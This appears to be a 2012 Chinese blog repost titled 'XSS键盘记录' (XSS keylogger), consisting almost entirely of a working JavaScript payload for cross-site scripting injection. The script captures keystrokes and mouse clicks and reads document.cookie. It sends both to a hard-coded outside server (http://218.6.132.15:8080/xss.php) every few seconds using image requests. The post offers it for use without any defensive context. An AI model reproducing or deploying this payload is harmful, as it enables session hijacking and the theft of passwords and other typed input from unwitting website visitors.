兔八哥极品软件园    运行: 4493天 | 文章:640 篇 | 评论:505 条 | 碎语:1条

XSS键盘记录

作者:admin 发布于:2012-3-12 18:32 Monday 分类:网络转载


var keys='';  //储存键盘鼠标记录
var hacker = 'http://218.6.132.15:8080/xss.php';
var Url = window.location;
var Domain = document.domain;
var Cookie = document.cookie;

document.onkeypress = function(e) {   //劫持键盘消息
get = window.event ? event:e;
key = get.keyCode ? get.keyCode : get.charCode;
switch(key){
case 32 : key = '[Space]';break;
case 13 : key = '[Enter]';break;
case 8  : key = '[BackSpace]';break;
default :
key = String.fromCharCode(key);
keys += key;
}
}

window.onload = function(){  //窗口加载后发送cookie
setInterval(function(){
var Cookie_t = document.cookie;
if(Cookie_t != Cookie){
Cookie = Cookie_t;
}
SendData(hacker + '?m=c&c=' + Cookie);
},2000); //每2秒检测一次cookie,如果变化,就重新发送
}
document.onmousedown = function(e) {
get = window.event ? event : e;  //创建事件对象
var mousekey = get.button;   //获取鼠标键代码
switch(mousekey) {//1 鼠标左键 2 鼠标右键 4 滚动键
case 1 :
mousekey = '[Left Mouse Clik]';break;
case 2 :
mousekey = '[Right Mouse Clik]';break;
case 4 :
mousekey = '[Roll Mouse Clik]';break;
default :
mousekey = '[Unknown Mouse Key]';
}
keys += mousekey;
}
function SendData(src){
new Image().src = src;  //建立图片对象用于发射数据
}

setInterval(function(){ SendData(hacker + '?m=k&c=' + keys);keys = ''; },5000);  //每五秒发送一次键盘记录,初始化变量
by 二月 

标签: XSS


Powered by 兔八哥极品软件 苏ICP备12049267号 sitemap